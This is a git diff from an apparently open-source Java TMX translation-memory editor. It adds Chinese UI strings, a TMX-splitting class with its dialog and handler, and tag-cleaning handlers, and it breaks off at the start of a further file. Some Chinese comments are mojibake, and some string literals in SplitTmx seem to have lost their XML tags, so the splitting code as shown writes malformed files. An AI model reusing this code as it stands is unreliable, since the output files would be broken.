+te.ui.deleteLangHandler.executeOP=\u6b63\u5728\u5904\u7406\u6570\u636e... +te.ui.deleteLangHanlder.checkMsg=\u5373\u5c06\u4ece\u6587\u4ef6\u4e2d\u5220\u9664\u8bed\u8a00 {0} \u7684\u6240\u6709\u5185\u5bb9\uff0c\u4e14\u8be5\u64cd\u4f5c\u65e0\u6cd5\u6062\u590d\u3002\u786e\u5b9a\u5220\u9664\u5417\uff1f + +dialog.deleteLangCodeDialog.title=\u5220\u9664\u8bed\u8a00 +dialog.deleteLangCodeDialog.srcLable=\u6e90\u8bed\u8a00\uff1a +dialog.deleteLangCodeDialog.tgtLable=\u76ee\u6807\u8bed\u8a00\uff1a + +dialog.ModifyLangCodeDialog.title=\u66f4\u6539\u8bed\u8a00\u4ee3\u7801 +dialog.ModifyLangCodeDialog.groupOldlbl=\u4fee\u6539\u524d +dialog.ModifyLangCodeDialog.groupOld.scritem=\u6e90\u8bed\u8a00\uff1a +dialog.ModifyLangCodeDialog.groupOld.tgtitem=\u76ee\u6807\u8bed\u8a00\uff1a +dialog.ModifyLangCodeDialog.groupNewlbl=\u4fee\u6539\u540e +dialog.ModifyLangCodeDialog.groupNew.scritem=\u6e90\u8bed\u8a00\uff1a +dialog.ModifyLangCodeDialog.groupNew.tgtitem=\u76ee\u6807\u8bed\u8a00\uff1a +dialog.ModifyLangCodeDialog.checkMsg1 = \u6e90\u8bed\u8a00\u4e0e\u76ee\u6807\u8bed\u8a00\u4e0d\u80fd\u76f8\u540c\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u3002 +dialog.ModifyLangCodeDialog.checkMsg2 = \u8be5\u6587\u4ef6\u4e2d\u5df2\u5b58\u5728\u6b64\u76ee\u6807\u8bed\u8a00\uff0c\u8bf7\u9009\u62e9\u53e6\u4e00\u4e2a\u76ee\u6807\u8bed\u8a00\u3002 +dialog.ModifyLangCodeDialog.checkMsg3 = \u4fee\u6539\u8bed\u8a00\u4ee3\u7801\u5c06\u4f1a\u5f71\u54cd\u6240\u6709\u7ffb\u8bd1\u5355\u5143\uff0c\u4e14\u8be5\u64cd\u4f5c\u65e0\u6cd5\u6062\u590d\u3002\u786e\u5b9a\u8981\u4fee\u6539\u5417\uff1f + +dialog.PairFileDialog.title=\u6587\u4ef6\u914d\u5bf9 +dialog.PairFileDialog.srcGroupFile.lbl=\u6e90\u6587\u6863 +dialog.PairFileDialog.srcGroup.File=\u6587\u4ef6\u8def\u5f84\uff1a +dialog.PairFileDialog.srcGroup.brower=\u6d4f\u89c8(&B)... +dialog.PairFileDialog.srcGroup.lang=\u8bed\u8a00\uff1a +dialog.PairFileDialog.tgtGroupFile.lbl=\u76ee\u6807\u6587\u6863 +dialog.PairFileDialog.tgtGroup.File=\u6587\u4ef6\u8def\u5f84\uff1a +dialog.PairFileDialog.tgtGroup.brower=\u6d4f\u89c8(&R)... +dialog.PairFileDialog.tgtGroup.lang=\u8bed\u8a00\uff1a +dialog.PairFileDialog.saveAsPath=TMX \u6587\u4ef6\u8def\u5f84\uff1a +dialog.PairFileDialog.saveAsBrower=\u6d4f\u89c8(&W)... +dialog.PairFileDialog.start.mechieTranslate=\u4f7f\u7528\u673a\u5668\u7ffb\u8bd1\u63d0\u9ad8\u914d\u5bf9\u7684\u51c6\u786e\u6027 +dialog.PairFileDialog.start=\u70b9\u51fb\u542f\u7528 +dialog.PairFileDialog.aready.start=\u5df2\u7ecf\u542f\u7528 +dialog.PairFileDialog.openTmx=\u914d\u5bf9\u5b8c\u6210\u540e\u81ea\u52a8\u6253\u5f00 + +dialog.EncodingConverterDialog.title = \u8f6c\u6362 TMX \u6587\u4ef6\u7f16\u7801 +dialog.EncodingConverterDialog.srcFileMsg = \u8bf7\u9009\u62e9\u5f85\u8f6c\u6362\u7f16\u7801\u7684\u6e90 TMX \u6587\u4ef6\u3002 +dialog.EncodingConverterDialog.srcEncodingMsg = \u8bf7\u6307\u5b9a\u6e90\u6587\u4ef6\u7684\u7f16\u7801\u3002 +dialog.EncodingConverterDialog.tgtFileMsg = \u8bf7\u6307\u5b9a\u8f6c\u6362\u7f16\u7801\u540e\u7684\u76ee\u6807 TMX \u6587\u4ef6\u4fdd\u5b58\u8def\u5f84\u3002 +dialog.EncodingConverterDialog.tgtEncodingMsg = \u8bf7\u6307\u5b9a\u76ee\u6807 TMX \u6587\u4ef6\u7684\u7f16\u7801\u3002 +dialog.EncodingConverterDialog.tgtFileExist = \u76ee\u6807\u6587\u4ef6\u5df2\u7ecf\u5b58\u5728\uff0c\u786e\u5b9a\u8981\u8986\u76d6\u5417\uff1f +dialog.EncodingConverterDialog.convertTask = \u6b63\u5728\u8f6c\u6362... +dialog.EncodingConverterDialog.covnertFinish = \u5df2\u5b8c\u6210\u8f6c\u6362\u3002 +dialog.EncodingConverterDialog.srcLabel = \u6e90\u6587\u4ef6\uff1a +dialog.EncodingConverterDialog.srcBrowseLabel = \u6d4f\u89c8(&B)... +dialog.EncodingConverterDialog.srcEncodingLabel = \u6e90\u6587\u4ef6\u7f16\u7801\uff1a +dialog.EncodingConverterDialog.tgtFileLabel = \u76ee\u6807\u6587\u4ef6\uff1a +dialog.EncodingConverterDialog.tgtBrowseLabel = \u6d4f\u89c8(&R)... +dialog.EncodingConverterDialog.tgtEncodingLabel = \u76ee\u6807\u6587\u4ef6\u7f16\u7801\uff1a +dialog.EncodingConverterDialog.convertBtn = \u8f6c\u6362(&V) +dialog.EncodingConverterDialog.closeBtn = \u53d6\u6d88(&C) +dialog.EncodingConverterDialog.tgtSameSrcPathMsg = \u6e90\u6587\u4ef6\u548c\u76ee\u6807\u6587\u4ef6\u8def\u5f84\u4e0d\u80fd\u76f8\u540c\u3002\n\u8bf7\u91cd\u65b0\u6307\u5b9a\u76ee\u6807\u6587\u4ef6\u8def\u5f84\u3002 diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/splitTmx/SplitTmx.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/splitTmx/SplitTmx.java new file mode 100644 index 0000000..f7102c0 --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/splitTmx/SplitTmx.java @@ -0,0 +1,255 @@ +package net.heartsome.cat.te.ui.splitTmx; + +import java.io.BufferedOutputStream; +import java.io.File; +import java.io.FileNotFoundException; +import java.io.FileOutputStream; +import java.io.OutputStream; +import java.text.MessageFormat; + +import net.heartsome.cat.common.ui.dialog.FileCoverMsgDialog; +import net.heartsome.cat.common.ui.utils.OpenMessageUtils; +import net.heartsome.cat.te.core.bean.TmxTemplet; +import net.heartsome.cat.te.ui.resource.Messages; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; +import org.eclipse.core.runtime.SubProgressMonitor; +import org.eclipse.swt.widgets.Display; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.ximpleware.AutoPilot; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; + +/** + * 分割 tmx 文件的 主è¦åŠŸèƒ½å®žçŽ°ç±» + * @author Mac + * @version + * @since JDK1.6 + */ +public class SplitTmx { + private String splitFileLC; + private String tgtFolderLC; + /** 分割æˆå­æ–‡ä»¶çš„æ•°é‡ */ + private int fileSum; + /** æ¯ä¸ªå­æ–‡ä»¶çš„ tu æ•°é‡ */ + private int tuUnitSum; + + private BufferedOutputStream buffer; + private OutputStream output; + private String subFileLC; + private int subFileIndex = 1; + private String headerFrag; + /** 这是进度æ¡çš„å‰è¿›é—´éš”,也就是当循环多少个trans-unit节点åŽå‰è¿›ä¸€æ ¼ï¼Œé’ˆå¯¹åŒ¹é… */ + private int workInterval = 1; + private boolean always = false; + private int retunCode = FileCoverMsgDialog.OVER; + public final static Logger LOGG = LoggerFactory.getLogger(SplitTmx.class); + + public SplitTmx(String splitFileLC, String tgtFolderLC, int fileSum){ + this.splitFileLC = splitFileLC; + this.tgtFolderLC = tgtFolderLC; + this.fileSum = fileSum; + } + + + /** + * 开始分割文件 + * @param monitor ; + */ + public void beginSplit(IProgressMonitor monitor) throws Exception{ + // UNDO 这里未处ç†ã€€å½“ tmx 文件编ç ä¸ä¸º UTF-8 时的情况 + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + monitor.beginTask(Messages.getString("te.ui.splitTmx.taskName"), 10); + try { + // 首先解æžæ–‡ä»¶, 并获å–出 tu 总数, 解æžã€€èŠ±è´¹ã€€1 格. + VTDGen vg = new VTDGen(); + if (!vg.parseFile(splitFileLC, true)) { + Display.getDefault().syncExec(new Runnable() { + @Override + public void run() { + OpenMessageUtils.openMessage(IStatus.WARNING, MessageFormat.format(Messages.getString("te.ui.splitTmx.warn.msg"), splitFileLC)); + return; + } + }); + } + monitor.worked(1); + + VTDNav vn = vg.getNav(); + AutoPilot ap = new AutoPilot(vn); + VTDUtils vu = new VTDUtils(vn); + + int allTUSize = -1; + String xpath = "count(/tmx/body/tu)"; + ap.selectXPath(xpath); + allTUSize = (int)ap.evalXPathToNumber(); + + if (allTUSize > 500) { + workInterval = allTUSize / 500; + } + tuUnitSum = allTUSize % fileSum == 0 ? (allTUSize / fileSum) : (allTUSize / fileSum) + 1; + int matchWorkUnit = allTUSize % workInterval == 0 ? (allTUSize / workInterval) : (allTUSize / workInterval) + 1; + + IProgressMonitor subMonitor = new SubProgressMonitor(monitor, 9); + subMonitor.beginTask("", matchWorkUnit); + + + // 首先将 header 里é¢çš„æ•°æ®å¡«å……到第一个文件中 + ap.selectXPath("/tmx/header"); + if (ap.evalXPath() != -1) { + headerFrag = vu.getElementFragment(); + } + + createNewTempFile(monitor); + xpath = "/tmx/body/tu"; + ap.selectXPath(xpath); + int i = 0; + String tuFrag = null; + while(ap.evalXPath() != -1){ + i ++; + tuFrag = vu.getElementFragment(); + writeSegment(tuFrag + "\n"); + if (i % tuUnitSum == 0) { + endTempFile(); + + if (i < allTUSize) { + // 开始定义下一下文件 + createNewTempFile(monitor); + } + } + monitorWork(subMonitor, i, false); + } + + if (buffer != null) { + endTempFile(); + } + monitorWork(subMonitor, i, true); + + subMonitor.done(); + } catch (final FileNotFoundException e) { + Display.getDefault().syncExec(new Runnable() { + @Override + public void run() { + OpenMessageUtils.openMessage(IStatus.ERROR, e.getMessage()); + } + }); + LOGG.error("", e); + } catch (OperationCanceledException e) { + // do nothing. + } catch (final Exception e) { + Display.getDefault().syncExec(new Runnable() { + @Override + public void run() { + OpenMessageUtils.openMessage(IStatus.ERROR, e.getMessage()); + } + }); + LOGG.error("", e); + } + } + + + /** + * 创建新的临时文件 + * @param tmxTempFolderLC 所有临时文件所处的文件夹 + * @throws Exception + */ + private void createNewTempFile(IProgressMonitor monitor) throws OperationCanceledException, Exception{ + String name = new File(splitFileLC).getName(); + int extentionIdx = name.lastIndexOf("."); + subFileLC = tgtFolderLC + File.separator + name.substring(0, extentionIdx) + "_" + (subFileIndex++) + + name.substring(extentionIdx, name.length()); + checkRepeate(subFileLC, monitor); + if (retunCode == FileCoverMsgDialog.OVER) { + output = new FileOutputStream(subFileLC); + buffer = new BufferedOutputStream(output); + String xmlDcle = TmxTemplet.genertateTmxXmlDeclar(); + writeSegment(xmlDcle); + writeSegment("\n"); + writeSegment(headerFrag); + writeSegment("\n"); + }else if (retunCode == FileCoverMsgDialog.SKIP) { + output = null; + buffer = null; + } + } + + + /** + * 是å¦è¦†ç›– + * @param fileLC + * @return ; + */ + private void checkRepeate(final String fileLC, final IProgressMonitor monitor) { + if (new File(fileLC).exists()) { + if (!always) { + Display.getDefault().syncExec(new Runnable() { + @Override + public void run() { + FileCoverMsgDialog dialog = new FileCoverMsgDialog(Display.getDefault().getActiveShell(), fileLC); + retunCode = dialog.open(); + always = dialog.isAlways(); + } + }); + } + }else { + retunCode = FileCoverMsgDialog.OVER; + } + if (retunCode == FileCoverMsgDialog.CANCEL) { + monitor.setCanceled(true); + throw new OperationCanceledException(); + } + } + + + private void endTempFile() throws Exception{ + writeSegment("\n"); + writeSegment("\n"); + if (buffer != null) { + buffer.flush(); + } + if (output != null) { + output.close(); + } + if (buffer != null) { + buffer.close(); + } + buffer = null; + } + + + private void writeSegment(String segment) throws Exception{ + if (buffer != null) { + buffer.write(segment.getBytes("UTF-8")); + } + } + + public void monitorWork(IProgressMonitor monitor, int traversalTuIndex, boolean last) throws Exception{ + if (last) { + if (traversalTuIndex % workInterval != 0) { + if (monitor.isCanceled()) { + throw new OperationCanceledException(); + } + monitor.worked(1); + } + }else { + if (traversalTuIndex % workInterval == 0) { + if (monitor.isCanceled()) { + throw new OperationCanceledException(); + } + monitor.worked(1); + } + } + } + + + + + +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/splitTmx/SplitTmxDialog.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/splitTmx/SplitTmxDialog.java new file mode 100644 index 0000000..4051f87 --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/splitTmx/SplitTmxDialog.java @@ -0,0 +1,255 @@ +package net.heartsome.cat.te.ui.splitTmx; + +import java.io.File; +import java.lang.reflect.InvocationTargetException; +import java.text.MessageFormat; + +import net.heartsome.cat.common.ui.dialog.HsAbstractProgressDialog; +import net.heartsome.cat.common.ui.utils.OpenMessageUtils; +import net.heartsome.cat.te.ui.Activator; +import net.heartsome.cat.te.ui.resource.Messages; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.jface.dialogs.IDialogSettings; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.DirectoryDialog; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.FileDialog; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Spinner; +import org.eclipse.swt.widgets.Text; + +/** + * 分割 tmx 文件的主窗体 + * @author robert 2013-08-14 + * @version + * @since JDK1.6 + */ +public class SplitTmxDialog extends HsAbstractProgressDialog implements IRunnableWithProgress{ + private Spinner fileSumSpinner; + private Button originalLcBtn; + private Text splitFileLCText; + private Text tgtFolderLCTxt; + private Button saveAsBtn; + private Button browerBtn; + private String splitFileLC; + private String tgtFolderLC; + private int fileSum; + + protected SplitTmxDialog(Shell parentShell) { + super(parentShell); + setShellStyle(SWT.CLOSE | SWT.TITLE); + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("dialog.SplitTmxDiialog.title")); + } + + @Override + protected boolean isResizable() { + return true; + } + + /** + * åˆå§‹åŒ–对è¯æ¡†ä½ç½® + */ + @Override + protected Point getInitialSize() { + return new Point(450, 350); + } + + @Override + public Composite createClientArea(Composite clientContainer) { + GridLayoutFactory.fillDefaults().numColumns(1).applyTo(clientContainer); + + Group typeGroup = new Group(clientContainer, SWT.NONE); + GridDataFactory.fillDefaults().align(SWT.FILL, SWT.CENTER).grab(true, false).applyTo(typeGroup); + GridLayoutFactory.swtDefaults().numColumns(3).applyTo(typeGroup); + typeGroup.setText(Messages.getString("dialog.SplitTmxDiialog.groupTitle")); + + Label typeLbl = new Label(typeGroup, SWT.NONE); + typeLbl.setText(Messages.getString("dialog.SplitTmxDiialog.group.avgSplit")); + + Composite spinnerCmp = new Composite(typeGroup, SWT.NONE); + GridDataFactory.fillDefaults().grab(true, true).span(2, SWT.DEFAULT).applyTo(spinnerCmp); + GridLayoutFactory.swtDefaults().margins(0, 0).numColumns(2).applyTo(spinnerCmp); + + GridData spinnerdata = new GridData(); + spinnerdata.widthHint = 40; + fileSumSpinner = new Spinner(spinnerCmp, SWT.BORDER); + fileSumSpinner.setLayoutData(spinnerdata); + fileSumSpinner.setMaximum(1000); + fileSumSpinner.setMinimum(2); + + Label fileLbl = new Label(spinnerCmp, SWT.NONE); + fileLbl.setText(Messages.getString("dialog.SplitTmxDiialog.group.subFile")); + + Label splitFileLCLbl = new Label(typeGroup, SWT.NONE); + splitFileLCLbl.setText(Messages.getString("dialog.SplitTmxDiialog.spliteFile")); + + splitFileLCText = new Text(typeGroup, SWT.BORDER|SWT.READ_ONLY); + splitFileLCText.setBackground(getShell().getDisplay().getSystemColor(SWT.COLOR_WHITE)); + GridDataFactory.fillDefaults().align(SWT.FILL, SWT.CENTER).grab(true, false).applyTo(splitFileLCText); + + Button splitBrowerBtn = new Button(typeGroup, SWT.NONE); + splitBrowerBtn.setText(Messages.getString("dialog.SplitTmxDiialog.brower")); + splitBrowerBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + FileDialog dialog = new FileDialog(getShell(), SWT.OPEN); + dialog.setFilterExtensions(new String[]{"*.tmx", "*.*"}); + String fileLC = dialog.open(); + if (fileLC != null) { + splitFileLCText.setText(fileLC); + } + check(); + } + }); + + + // 下é¢æ˜¯å­˜å‚¨è·¯å¾„ + Group lcGroup = new Group(clientContainer, SWT.NONE); + GridDataFactory.fillDefaults().align(SWT.FILL, SWT.CENTER).grab(true, false).applyTo(lcGroup); + GridLayoutFactory.swtDefaults().numColumns(3).applyTo(lcGroup); + lcGroup.setText(Messages.getString("dialog.SplitTmxDiialog.savePath")); + + originalLcBtn = new Button(lcGroup, SWT.RADIO); + originalLcBtn.setText(Messages.getString("dialog.SplitTmxDiialog.originalPath")); + originalLcBtn.setSelection(true); + GridDataFactory.swtDefaults().span(3, SWT.DEFAULT).applyTo(originalLcBtn); + + + saveAsBtn = new Button(lcGroup, SWT.RADIO); + saveAsBtn.setText(Messages.getString("dialog.SplitTmxDiialog.saveAsPath")); + + tgtFolderLCTxt = new Text(lcGroup, SWT.BORDER|SWT.READ_ONLY); + tgtFolderLCTxt.setBackground(getShell().getDisplay().getSystemColor(SWT.COLOR_WHITE)); + GridDataFactory.fillDefaults().align(SWT.FILL, SWT.CENTER).grab(true, false).applyTo(tgtFolderLCTxt); + + browerBtn = new Button(lcGroup, SWT.NONE); + browerBtn.setText(Messages.getString("dialog.SplitTmxDiialog.brower")); + + browerBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + DirectoryDialog dialog = new DirectoryDialog(getShell(), SWT.SAVE); + dialog.setText(Messages.getString("dialog.SplitTmxDiialog.title")); + String selectedDirectoryName = dialog.open(); + if (selectedDirectoryName != null) { + tgtFolderLCTxt.setText(selectedDirectoryName); + } + check(); + } + }); + + saveAsBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + if (saveAsBtn.getSelection()) { + tgtFolderLCTxt.setEnabled(true); + browerBtn.setEnabled(true); + }else { + tgtFolderLCTxt.setEnabled(false); + browerBtn.setEnabled(false); + } + check(); + } + }); + + check(); + init(); + return clientContainer; + } + + private void init(){ + if (getDialogSetting().getBoolean("splitTmx.isSaveBtnSelection")) { + saveAsBtn.setSelection(true); + originalLcBtn.setSelection(false); + }else { + saveAsBtn.setSelection(false); + originalLcBtn.setSelection(true); + } + if (saveAsBtn.getSelection()) { + tgtFolderLCTxt.setEnabled(true); + browerBtn.setEnabled(true); + }else { + tgtFolderLCTxt.setEnabled(false); + browerBtn.setEnabled(false); + } + } + + private IDialogSettings getDialogSetting(){ + IDialogSettings settings = Activator.getDefault().getDialogSettings(); + IDialogSettings fDialogSettings = settings.getSection(getClass().getName()); + if (fDialogSettings == null) + fDialogSettings = settings.addNewSection(getClass().getName()); + return fDialogSettings; + } + + private void check(){ + boolean isChecked = true; + if (saveAsBtn.getSelection()) { + isChecked = !tgtFolderLCTxt.getText().isEmpty(); + } + if (splitFileLCText.getText().isEmpty()) { + isChecked = false; + } + setOkBtnEnable(isChecked); + } + + + + @Override + public void run(IProgressMonitor monitor) throws InvocationTargetException, InterruptedException { + Display.getDefault().syncExec(new Runnable() { + @Override + public void run() { + getDialogSetting().put("splitTmx.isSaveBtnSelection", saveAsBtn.getSelection()); + splitFileLC = splitFileLCText.getText(); + if (originalLcBtn.getSelection()) { + tgtFolderLC = new File(splitFileLC).getParent(); + }else { + tgtFolderLC = tgtFolderLCTxt.getText(); + } + fileSum = fileSumSpinner.getSelection(); + + // 进行分割å‰çš„判断 + if (!new File(splitFileLC).exists()) { + OpenMessageUtils.openMessage(IStatus.INFO, MessageFormat.format(Messages.getString("dialog.SplitTmxDiialog.split.info.msg"), splitFileLC)); + return; + } + + } + }); + + SplitTmx splitTmx = new SplitTmx(splitFileLC, tgtFolderLC, fileSum); + try { + splitTmx.beginSplit(monitor); + } catch (Exception e) { + e.printStackTrace(); + } + + monitor.done(); + } + /** (non-Javadoc) + * @see net.heartsome.cat.common.ui.dialog.HsAbstractProgressDialog#getDisplayHelpUrl() + */ + @Override + public String getDisplayHelpUrl() { + return "/net.heartsome.cat.te.ui.help/html/{0}/ch03.html#tmx_merge_id"; + } +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/splitTmx/SplitTmxHandler.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/splitTmx/SplitTmxHandler.java new file mode 100644 index 0000000..3cf6925 --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/splitTmx/SplitTmxHandler.java @@ -0,0 +1,27 @@ +package net.heartsome.cat.te.ui.splitTmx; + + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * 分割 tmx 文件 + * @author robert 2013-08-13 + * @version + * @since JDK1.6 + */ +public class SplitTmxHandler extends AbstractHandler{ + + @Override + public Object execute(ExecutionEvent event) throws ExecutionException { + + SplitTmxDialog dialog = new SplitTmxDialog(HandlerUtil.getActiveShell(event)); + dialog.open(); + + return null; + } + + +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/task/handler/CleanSelectedLinesTagsHandler.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/task/handler/CleanSelectedLinesTagsHandler.java new file mode 100644 index 0000000..9198d99 --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/task/handler/CleanSelectedLinesTagsHandler.java @@ -0,0 +1,76 @@ +/** + * CleanTagsHandler.java + * + * Version information : + * + * Date:2013-8-1 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.ui.task.handler; + +import java.lang.reflect.InvocationTargetException; +import java.util.Arrays; + +import net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess; +import net.heartsome.cat.te.tmxeditor.editor.TmxEditor; +import net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.commands.operations.IOperationHistory; +import org.eclipse.core.commands.operations.OperationHistoryFactory; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.jface.dialogs.ProgressMonitorDialog; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.swt.widgets.Display; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * 清除内部标记 + * @author Austen + * @version + * @since JDK1.6 + */ +public class CleanSelectedLinesTagsHandler extends AbstractHandler { + + /** + * (non-Javadoc) + * @see org.eclipse.core.commands.IHandler#execute(org.eclipse.core.commands.ExecutionEvent) + */ + @Override + public Object execute(ExecutionEvent event) throws ExecutionException { + final TmxEditor editor = TmxEditorViewer.getInstance().getTmxEditor(); + editor.commit(); + ProgressMonitorDialog dialog = new ProgressMonitorDialog(HandlerUtil.getActiveShell(event)); + final TmxLargeFileDataAccess access = (TmxLargeFileDataAccess) editor.getTmxDataAccess(); + try { + dialog.run(true, false, new IRunnableWithProgress() { + @Override + public void run(IProgressMonitor monitor) throws InvocationTargetException, InterruptedException { + access.clearSelectLinesInnerTag(monitor ,Arrays.asList(editor.getSelectIdentifiers())); + Display.getDefault().syncExec(new Runnable() { + @Override + public void run() { + editor.loadDataAndReFreshUI(null, true); + } + }); + } + }); + } catch (InvocationTargetException e) { + e.printStackTrace(); + } catch (InterruptedException e) { + e.printStackTrace(); + } + IOperationHistory histor = OperationHistoryFactory.getOperationHistory(); + histor.dispose(PlatformUI.getWorkbench().getOperationSupport().getUndoContext(), true, true, true); + + return null; + } + +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/task/handler/CleanTagsHandler.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/task/handler/CleanTagsHandler.java new file mode 100644 index 0000000..58938bd --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/task/handler/CleanTagsHandler.java @@ -0,0 +1,82 @@ +/** + * CleanTagsHandler.java + * + * Version information : + * + * Date:2013-8-1 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.ui.task.handler; + +import java.lang.reflect.InvocationTargetException; + +import net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess; +import net.heartsome.cat.te.tmxeditor.editor.TmxEditor; +import net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer; +import net.heartsome.cat.te.ui.resource.Messages; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.commands.operations.IOperationHistory; +import org.eclipse.core.commands.operations.OperationHistoryFactory; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.dialogs.ProgressMonitorDialog; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.swt.widgets.Display; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * 清除内部标记 + * @author Austen + * @version + * @since JDK1.6 + */ +public class CleanTagsHandler extends AbstractHandler { + + /** + * (non-Javadoc) + * @see org.eclipse.core.commands.IHandler#execute(org.eclipse.core.commands.ExecutionEvent) + */ + @Override + public Object execute(ExecutionEvent event) throws ExecutionException { + + boolean confirm = MessageDialog.openConfirm(HandlerUtil.getActiveShell(event), + Messages.getString("te.ui.cleanTagsHandler.warn.msg"), + Messages.getString("te.ui.cleanTagsHandler.warn.desc")); + final TmxEditor editor = TmxEditorViewer.getInstance().getTmxEditor(); + if (confirm) { + editor.commit(); + ProgressMonitorDialog dialog = new ProgressMonitorDialog(HandlerUtil.getActiveShell(event)); + final TmxLargeFileDataAccess access = (TmxLargeFileDataAccess) editor.getTmxDataAccess(); + try { + dialog.run(true, false, new IRunnableWithProgress() { + @Override + public void run(IProgressMonitor monitor) throws InvocationTargetException, InterruptedException { + access.cleanDisplayTuInnerTag(monitor); + Display.getDefault().syncExec(new Runnable() { + @Override + public void run() { + editor.loadDataAndReFreshUI(null, true); + } + }); + } + }); + } catch (InvocationTargetException e) { + e.printStackTrace(); + } catch (InterruptedException e) { + e.printStackTrace(); + } + IOperationHistory histor = OperationHistoryFactory.getOperationHistory(); + histor.dispose(PlatformUI.getWorkbench().getOperationSupport().getUndoContext(), true, true, true); + } + return null; + } + +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/task/handler/DeleteBatchJobsHandler.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/task/handler/DeleteBatchJobsHandler.java new file mode 100644 index 0000000..597d648 --- /dev/null +++ 